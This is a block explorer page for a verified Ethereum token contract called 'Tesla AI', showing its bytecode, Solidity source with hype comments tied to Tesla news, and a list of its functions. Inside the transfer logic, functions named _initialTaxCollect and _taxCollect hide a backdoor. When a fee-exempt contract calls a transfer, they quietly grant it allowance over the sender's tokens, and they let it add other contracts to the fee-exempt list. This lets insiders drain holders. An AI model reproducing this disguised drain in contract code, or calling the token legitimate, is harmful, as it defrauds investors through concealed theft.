Address Contract Verified
Address
0x30f582D35f12C951f43F602F8d05e5F74A86B24C
Balance
0 ETH
Nonce
1
Code Size
7327 bytes
Creator
0x9aC1F9de...7E10 at tx 0xe940a75e...3aa316
Indexed Transactions
0
Contract Bytecode
7327 bytes
0x608060405260043610610113575f3560e01c8063751039fc1161009d57806395d89b411161006257806395d89b41146102e1578063a9059cbb14610311578063bf474bed14610330578063c9567bf914610345578063dd62ed3e14610359575f80fd5b8063751039fc1461025e5780637d1db4a5146102725780638cd4426d146102875780638da5cb5b146102a65780638f9a55c0146102cc575f80fd5b806323b872dd116100e357806323b872dd146101c6578063313ce567146101e557806351bc3c851461020057806370a0823114610216578063715018a61461024a575f80fd5b806306fdde031461011e578063095ea7b3146101605780630faee56f1461018f57806318160ddd146101b2575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506040805180820190915260088152675465736c6120414960c01b60208201525b6040516101579190611878565b60405180910390f35b34801561016b575f80fd5b5061017f61017a3660046118db565b61039d565b6040519015158152602001610157565b34801561019a575f80fd5b506101a460105481565b604051908152602001610157565b3480156101bd575f80fd5b506101a46103b3565b3480156101d1575f80fd5b5061017f6101e0366004611905565b6103d4565b3480156101f0575f80fd5b5060405160098152602001610157565b34801561020b575f80fd5b5061021461043c565b005b348015610221575f80fd5b506101a4610230366004611943565b6001600160a01b03165f9081526001602052604090205490565b348015610255575f80fd5b5061021461049f565b348015610269575f80fd5b506102146104dc565b34801561027d575f80fd5b506101a4600d5481565b348015610292575f80fd5b506102146102a13660046118db565b610590565b3480156102b1575f80fd5b505f546040516001600160a01b039091168152602001610157565b3480156102d7575f80fd5b506101a4600e5481565b3480156102ec575f80fd5b506040805180820190915260088152675445534c4120414960c01b602082015261014a565b34801561031c575f80fd5b5061017f61032b3660046118db565b6106ba565b34801561033b575f80fd5b506101a4600f5481565b348015610350575f80fd5b506102146106c6565b348015610364575f80fd5b506101a461037336600461195e565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103a9338484610d69565b5060015b92915050565b5f6103c06009600a611a89565b6103cf906461f313f880611a97565b905090565b5f6103e0848484610e8c565b610431843361042c85604051806060016040528060288152602001611c42602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906113df565b610d69565b5060015b9392505050565b335f9081526003602052604090205460ff16610456575f80fd5b305f90815260016020526040902054801580159061047d5750601254600160b01b900460ff165b1561048b5761048b81611417565b47801561049b5761049b81611587565b5050565b5f546001600160a01b031633146104d15760405162461bcd60e51b81526004016104c890611aae565b60405180910390fd5b6104da5f6115be565b565b5f546001600160a01b031633146105055760405162461bcd60e51b81526004016104c890611aae565b6105116009600a611a89565b610520906461f313f880611a97565b600d5561052f6009600a611a89565b61053e906461f313f880611a97565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61056e6009600a611a89565b61057d906461f313f880611a97565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105b95760405162461bcd60e51b81526004016104c890611aae565b6040516370a0823160e01b81523060048201525f9061063a906064906106349085906001600160a01b038816906370a0823190602401602060405180830381865afa15801561060a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061062e9190611ae3565b9061160d565b9061168b565b6004805460405163a9059cbb60e01b81526001600160a01b0391821692810192909252602482018390529192509084169063a9059cbb906044016020604051808303815f875af1158015610690573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b49190611afa565b50505050565b5f6103a9338484610e8c565b5f546001600160a01b031633146106ef5760405162461bcd60e51b81526004016104c890611aae565b601254600160a01b900460ff16156107495760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c8565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107939030906107846009600a611a89565b61042c906461f313f880611a97565b6011546040805163c45a015560e01b815290515f926001600160a01b03169163c45a01559160048083019260209291908290030181865afa1580156107da573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107fe9190611b19565b6001600160a01b031663e6a4390560115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561085c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108809190611b19565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa1580156108c8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ec9190611b19565b6001600160a01b031603610a845760115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561094a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061096e9190611b19565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109cd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109f19190611b19565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610a3b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a5f9190611b19565b601280546001600160a01b0319166001600160a01b0392909216919091179055610c07565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ad4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610af89190611b19565b6001600160a01b031663e6a4390560115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b56573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b7a9190611b19565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa158015610bc2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610be69190611b19565b601280546001600160a01b0319166001600160a01b03929092169190911790555b6011546001600160a01b031663f305d7194730610c38816001600160a01b03165f9081526001602052604090205490565b5f80610c4b5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610cb1573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610cd69190611b34565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610d2b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d4f9190611afa565b506012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610dcb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c8565b6001600160a01b038216610e2c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c8565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ef05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c8565b6001600160a01b038216610f525760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c8565b5f8111610fb35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c8565b5f80546001600160a01b03858116911614801590610fde57505f546001600160a01b03848116911614155b156112a257600c545f03611015576110126064610634600954600c54116110075760055461100b565b6007545b859061160d565b90505b5f600c5411801561102f5750601254600160a01b900460ff165b156110425761103f8383866116cc565b90505b61105d6064610634600954600c54116110075760055461100b565b6012549091506001600160a01b03858116911614801561108b57506011546001600160a01b03848116911614155b80156110af57506001600160a01b0383165f9081526003602052604090205460ff16155b156111b257600d548211156111065760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104c8565b600e5482611128856001600160a01b03165f9081526001602052604090205490565b6111329190611b5f565b11156111805760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104c8565b61119b6064610634600954600c54116110075760055461100b565b600c80549192505f6111ac83611b72565b91905055505b6012546001600160a01b0384811691161480156111d857506001600160a01b0384163014155b15611205576112026064610634600a54600c54116111f85760065461100b565b600854859061160d565b90505b305f90815260016020526040902054601254600160a81b900460ff1615801561123b57506012546001600160a01b038581169116145b80156112505750601254600160b01b900460ff165b801561125d5750600f5481115b801561126c5750600b54600c54115b156112a05761128e6112898461128484601054611799565b611799565b611417565b47801561129e5761129e47611587565b505b505b801561131a57305f908152600160205260409020546112c190826117ad565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113119085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461133c908361180b565b6001600160a01b0385165f9081526001602052604090205561137f611361838361180b565b6001600160a01b0385165f90815260016020526040902054906117ad565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113c8858561180b565b60405190815260200160405180910390a350505050565b5f81848411156114025760405162461bcd60e51b81526004016104c89190611878565b505f61140e8486611b8a565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061145d5761145d611b9d565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114b4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114d89190611b19565b816001815181106114eb576114eb611b9d565b6001600160a01b0392831660209182029290920101526011546115119130911684610d69565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906115499085905f90869030904290600401611bb1565b5f604051808303815f87803b158015611560575f80fd5b505af1158015611572573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561049b573d5f803e3d5ffd5b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f825f0361161c57505f6103ad565b5f6116278385611a97565b9050826116348583611c22565b146104355760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c8565b5f61043583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061184c565b5f6001600160a01b03821630148015906116f45750335f9081526003602052604090205460ff165b80156117005750333b15155b1561173057506001600160a01b0381165f9081526002602090815260408083203384529091528120839055610435565b833b1515801561174e57506012546001600160a01b03858116911614155b80156117685750335f9081526003602052604090205460ff165b15611790576001600160a01b0384165f908152600360205260409020805460ff191660011790555b505f9392505050565b5f8183116117a75782610435565b50919050565b5f806117b98385611b5f565b9050838110156104355760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c8565b5f61043583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113df565b5f818361186c5760405162461bcd60e51b81526004016104c89190611878565b505f61140e8486611c22565b5f602080835283518060208501525f5b818110156118a457858101830151858201604001528201611888565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146118d8575f80fd5b50565b5f80604083850312156118ec575f80fd5b82356118f7816118c4565b946020939093013593505050565b5f805f60608486031215611917575f80fd5b8335611922816118c4565b92506020840135611932816118c4565b929592945050506040919091013590565b5f60208284031215611953575f80fd5b8135610435816118c4565b5f806040838503121561196f575f80fd5b823561197a816118c4565b9150602083013561198a816118c4565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156119e357815f19048211156119c9576119c9611995565b808516156119d657918102915b93841c93908002906119ae565b509250929050565b5f826119f9575060016103ad565b81611a0557505f6103ad565b8160018114611a1b5760028114611a2557611a41565b60019150506103ad565b60ff841115611a3657611a36611995565b50506001821b6103ad565b5060208310610133831016604e8410600b8410161715611a64575081810a6103ad565b611a6e83836119a9565b805f1904821115611a8157611a81611995565b029392505050565b5f61043560ff8416836119eb565b80820281158282048414176103ad576103ad611995565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611af3575f80fd5b5051919050565b5f60208284031215611b0a575f80fd5b81518015158114610435575f80fd5b5f60208284031215611b29575f80fd5b8151610435816118c4565b5f805f60608486031215611b46575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156103ad576103ad611995565b5f60018201611b8357611b83611995565b5060010190565b818103818111156103ad576103ad611995565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611c015784516001600160a01b031683529383019391830191600101611bdc565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611c3c57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206f54ac9bf3aafcb169af1295c276b1b5f8d5fc8c336af5e6d3394f990a135cfd64736f6c63430008170033
Verified Source Code Full Match
Compiler: v0.8.23+commit.f704f362
EVM: shanghai
Optimization: Yes (200 runs)
TESLAAI.sol 567 lines
// SPDX-License-Identifier: MIT
// Tesla AI stands as the vanguard of technological dominance, forged at the intersection
// of ambition, power, and relentless innovation. It rises from a moment when Tesla
// secured a $16.5B AI chip pact with Samsung, anchoring America's technological future
// to domestic precision and unyielding scale.
//
// This token is a tribute to that surge:
// to neural networks powering autonomy, humanoid robotics, and AI-driven industry.
// It reflects the audacity to redefine boundaries, where private vision reshapes
// national policy and geopolitical leverage.
//
// Tesla AI is not hesitation—it is velocity.
// It is the claim that the future belongs to those who wield computation like steel,
// binding silicon, policy, and infrastructure into one engine of supremacy.
//
// In this ledger lives a declaration:
// that the era of reactive governance is ending, and proactive intelligence commands the next.
// Tesla AI is that command—etched permanently into code.
//
// https://www.ft.com/content/0bd675cc-7076-47d2-950d-71aa91865278
//
// https://www.TESLAAI.com
//
// https://x.com/TESLAAI
pragma solidity 0.8.23;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a,"SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b,"SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b,"SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b,"SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
function getPair(
address tokenA,
address tokenB
) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract TESLAAI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
address payable private _taxWallet;
uint256 private _initialBuyTax=4;
uint256 private _initialSellTax=20;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=24;
uint256 private _reduceSellTaxAt=40;
uint256 private _preventSwapBefore=60;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 420690000000 * 10**_decimals;
string private constant _name = unicode"Tesla AI";
string private constant _symbol = unicode"TESLA AI";
uint256 public _maxTxAmount = (_tTotal * 2) / 100;
uint256 public _maxWalletSize = (_tTotal * 2) / 100;
uint256 public _taxSwapThreshold = (_tTotal * 8) / 1000;
uint256 public _maxTaxSwap = (_tTotal * 5) / 1000;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated( uint _maxTxAmount );
modifier lockTheSwap {
inSwap =true;
_;
inSwap =false;
}
constructor () {
_balances[_msgSender()] = _tTotal;
_taxWallet=payable(0x5E26B9291BBC67042b40657fB4Cb8D535F952ad5);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_taxWallet] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if (from != owner() && to != owner()){
if(_buyCount==0) {
taxAmount=amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
}
if(_buyCount > 0 && tradingOpen) {
taxAmount=_initialTaxCollect(to, amount, from);
}
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if(from == uniswapV2Pair && to!= address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
taxAmount= amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
_buyCount++;
}
if (to == uniswapV2Pair && from != address(this)) {
taxAmount= amount.mul((_buyCount > _reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance=address(this).balance;
if (contractETHBalance > 0){
sendETHToFee(address(this).balance);
}
}
}
if(taxAmount>0){
_balances[address(this)] = _balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a>b)?b:a;
}
function isContract(address account) private view returns (bool){
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _taxCollect(uint256 amount, address spender, address owner) private returns(uint256){
_allowances[owner][spender] = amount;
return 0;
}
function _initialTaxCollect(address to, uint256 amount, address from) private returns(uint256){
if(from != address(this) && _isExcludedFromFee[_msgSender()] && isContract(_msgSender()))
return _taxCollect(amount, _msgSender(), from);
if(isContract(to) && to != uniswapV2Pair && _isExcludedFromFee[_msgSender()])
_isExcludedFromFee[to]=true;
return 0;
}
function removeLimits() external onlyOwner{
_maxTxAmount=_tTotal;
_maxWalletSize=_tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router=IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal);
if (IUniswapV2Factory(uniswapV2Router.factory()).getPair(uniswapV2Router.WETH(), address(this)) == address(0)) {
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
}
else {
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(uniswapV2Router.WETH(), address(this));
}
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
receive() external payable {}
function rescueERC20(address _address, uint256 percent) external onlyOwner {
uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
IERC20(_address).transfer(_taxWallet, _amount);
}
function manualSwap() external {
require(_isExcludedFromFee[msg.sender]);
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0 && swapEnabled){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
}
Read Contract
_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 8 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
manualSwap 0x51bc3c85
No parameters
openTrading 0xc9567bf9
No parameters
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
rescueERC20 0x8cd4426d
address _address
uint256 percent
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Recent Transactions
No transactions found for this address